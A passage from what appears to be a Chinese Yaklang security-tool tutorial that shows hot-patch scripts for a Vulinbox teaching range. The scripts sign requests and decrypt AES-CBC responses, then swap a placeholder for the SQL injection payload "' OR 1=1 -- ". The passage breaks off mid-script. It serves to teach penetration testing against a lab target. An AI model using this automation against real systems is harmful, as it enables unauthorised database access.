style="color:#393A34">=</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">string</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">poc</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">GetHTTPPacketBody</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">packet</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">if</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">!</span><span class="token plain">str</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">Contains</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">body</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> `</span><span class="token string-literal singleline string" style="color:#e3116c">"data"</span><span class="token plain">`</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">||</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">!</span><span class="token plain">str</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">Contains</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">body</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> `</span><span class="token string-literal singleline string" style="color:#e3116c">"iv"</span><span class="token plain">`</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token keyword" style="color:#00009f">return</span><span class="token plain"> packet</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    params </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> json</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">loads</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">body</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">if</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">!</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string-literal singleline string" style="color:#e3116c">"data"</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">in</span><span class="token plain"> params</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">||</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">!</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string-literal singleline string" style="color:#e3116c">"iv"</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">in</span><span class="token plain"> params</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token keyword" style="color:#00009f">return</span><span class="token plain"> packet</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    dataBytes </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> codec</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">DecodeBase64</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">params</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">data</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain">~</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    ivBytes </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> codec</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">DecodeBase64</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">params</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">iv</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain">~</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    plain </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> codec</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">AESCBCDecrypt</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">sessionKey</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> dataBytes</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> ivBytes</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain">~</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">return</span><span class="token plain"> poc</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">ReplaceHTTPPacketBody</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">packet</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> plain</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">beforeRequest </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">func</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">isHttps</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> originReq</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> req</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">if</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">!</span><span class="token function" style="color:#d73a49">isTargetRequest</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">isHttps</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> req</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token keyword" style="color:#00009f">return</span><span class="token plain"> req</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    ticket </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">fetchPipelineSession</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">isHttps</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> req</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    sessionID </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> ticket</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">session_id</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    sessionKeyB64 </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> ticket</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">session_key</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    sessionKey </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> codec</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">DecodeBase64</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">sessionKeyB64</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain">~</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    method </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> poc</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">GetHTTPRequestMethod</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">req</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    u </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> str</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">ExtractURLFromHTTPRequestRaw</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">req</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> isHttps</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain">~</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    ts</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> signature </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">buildPipelineSignature</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">method</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> u</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">Path</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> sessionKey</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    sessionKeyCache</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">sessionID</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> sessionKeyB64</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    req </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> poc</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">ReplaceHTTPPacketHeader</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">req</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token string-literal singleline string" style="color:#e3116c">"X-Pipeline-Session"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> sessionID</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    req </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> poc</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">ReplaceHTTPPacketHeader</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">req</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token string-literal singleline string" style="color:#e3116c">"X-Pipeline-Timestamp"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> ts</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    req </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> poc</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">ReplaceHTTPPacketHeader</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">req</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token string-literal singleline string" style="color:#e3116c">"X-Pipeline-Signature"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> signature</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">return</span><span class="token plain"> req</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">afterRequest </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">func</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">isHttps</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> originReq</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> req</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> originRsp</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> rsp</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">if</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">!</span><span class="token function" style="color:#d73a49">isTargetRequest</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">isHttps</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> req</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token keyword" style="color:#00009f">return</span><span class="token plain"> rsp</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">if</span><span class="token plain"> poc</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">GetHTTPPacketHeader</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">req</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> PLAINTEXT_HEADER</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">!=</span><span class="token plain"> </span><span class="token string-literal singleline string" style="color:#e3116c">"1"</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token keyword" style="color:#00009f">return</span><span class="token plain"> rsp</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    sessionID </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> poc</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">GetHTTPPacketHeader</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">req</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token string-literal singleline string" style="color:#e3116c">"X-Pipeline-Session"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    sessionKeyB64 </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> sessionKeyCache</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">sessionID</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">if</span><span class="token plain"> sessionKeyB64 </span><span class="token operator" style="color:#393A34">==</span><span class="token plain"> </span><span class="token string-literal singleline string" style="color:#e3116c">""</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token keyword" style="color:#00009f">return</span><span class="token plain"> rsp</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    sessionKey </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> codec</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">DecodeBase64</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">sessionKeyB64</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain">~</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">return</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">decryptPipelineResponse</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">rsp</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> sessionKey</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">hijackSaveHTTPFlow </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">func</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">flow</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> modify</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> drop</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    req </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> codec</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">StrconvUnquote</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">flow</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">Request</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain">~</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">if</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">!</span><span class="token function" style="color:#d73a49">isTargetRequest</span><span class="token punctuation" style="color:#393A34">(</span><span class="token boolean" style="color:#36acaa">false</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> req</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">&amp;&amp;</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">!</span><span class="token function" style="color:#d73a49">isTargetRequest</span><span class="token punctuation" style="color:#393A34">(</span><span class="token boolean" style="color:#36acaa">true</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> req</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token function" style="color:#d73a49">modify</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">flow</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token keyword" style="color:#00009f">return</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    sessionID </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> poc</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">GetHTTPPacketHeader</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">req</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token string-literal singleline string" style="color:#e3116c">"X-Pipeline-Session"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    sessionKeyB64 </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> sessionKeyCache</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">sessionID</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">if</span><span class="token plain"> sessionKeyB64 </span><span class="token operator" style="color:#393A34">==</span><span class="token plain"> </span><span class="token string-literal singleline string" style="color:#e3116c">""</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token function" style="color:#d73a49">modify</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">flow</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token keyword" style="color:#00009f">return</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    rsp </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> codec</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">StrconvUnquote</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">flow</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">Response</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain">~</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    sessionKey </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> codec</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">DecodeBase64</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">sessionKeyB64</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain">~</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    flow</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">Response </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> codec</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">StrconvQuote</span><span class="token punctuation" style="color:#393A34">(</span><span class="token function" style="color:#d73a49">string</span><span class="token punctuation" style="color:#393A34">(</span><span class="token function" style="color:#d73a49">decryptPipelineResponse</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">rsp</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> sessionKey</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token function" style="color:#d73a49">modify</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">flow</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><br></span></code></pre></div></div>
<h3 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="3再叠一层模块热加载">3、再叠一层模块热加载<a href="https://yaklang.com/blog/auto-handle-frontend-encryption-with-global-hot-reload#3%E5%86%8D%E5%8F%A0%E4%B8%80%E5%B1%82%E6%A8%A1%E5%9D%97%E7%83%AD%E5%8A%A0%E8%BD%BD" class="hash-link" aria-label="3、再叠一层模块热加载的直接链接" title="3、再叠一层模块热加载的直接链接" translate="no">​</a></h3>
<p>如果文章写到这里就结束，其实只能证明一件事：</p>
<p>Global HotPatch 很适合做协议归一化。</p>
<p>但还没有真正体现出 pipeline 的第二层。</p>
<p>所以下面再往上叠一层 module。</p>
<p>这层不去管 bootstrap，也不去管 AES-CBC 解密，而是只做业务层动作：</p>
<p>1、把 <code>keyword</code> 从占位符改成真正的 SQL 注入 payload</p>
<p>2、判断解密后的响应里 <code>row_count</code> 是否异常变大</p>
<p>module 真正应该关注的是：</p>
<p><code>1、keyword</code> 改成什么</p>
<p>2、什么样的响应算命中</p>
<p>3、命中之后怎么标记、提取、展示</p>
<p>完整可用的 Module HotPatch 脚本</p>
<p>下面这份脚本可以直接作为模块热加载脚本使用：</p>
<div class="language-kotlin codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-kotlin codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token comment" style="color:#999988;font-style:italic">// Vulinbox Pipeline 教学靶场 - Module HotPatch</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic">// 作用：</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic">// 1. 把 keyword 占位符替换成真正的 SQL 注入 payload</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic">// 2. 在解密后的响应上做简单命中判断</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">TARGET_PATH </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token string-literal singleline string" style="color:#e3116c">"/api/pipeline/orders/search"</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">KEYWORD_MARKER </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token string-literal singleline string" style="color:#e3116c">"__AUTO_SQLI__"</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">SQLI_PAYLOAD </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token string-literal singleline string" style="color:#e3116c">"' OR 1=1 -- "</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">isTargetRequest </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">func</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">isHttps</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> packet</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    u</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> err </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> str</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">ExtractURLFromHTTPRequestRaw</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">packet</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> isHttps</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">if</span><span class="token plain"> err </span><span class="token operator" style="color:#393A34">!=</span><span class="token plain"> nil </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token keyword" style="color:#00009f">return</span><span class="token plain"> </span><span class="token boolean" style="color:#36acaa">false</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">return</span><span class="token plain"> u</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">Path </span><span class="token operator" style="color:#393A34">==</span><span class="token plain"> TARGET_PATH</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">beforeRequest </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">func</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">isHttps</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> originReq</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> req</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">if</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">!</span><span class="token function" style="color:#d73a49">isTargetRequest</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">isHttps</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> req</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token keyword" style="color:#00009f">return</span><span class="token plain"> req</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    body </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">string</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">poc</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">GetHTTPPacketBody</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">req</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    params </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> json</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">loads</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">body</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">if</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">!</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string-literal singleline string" style="color:#e3116c">"keyword"</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">in</span><span class="token plain"> params</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token keyword" style="color:#00009f">return</span><span class="token plain"> req</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">if</span><span class="token plain"> params</span><span class="token punctuation" 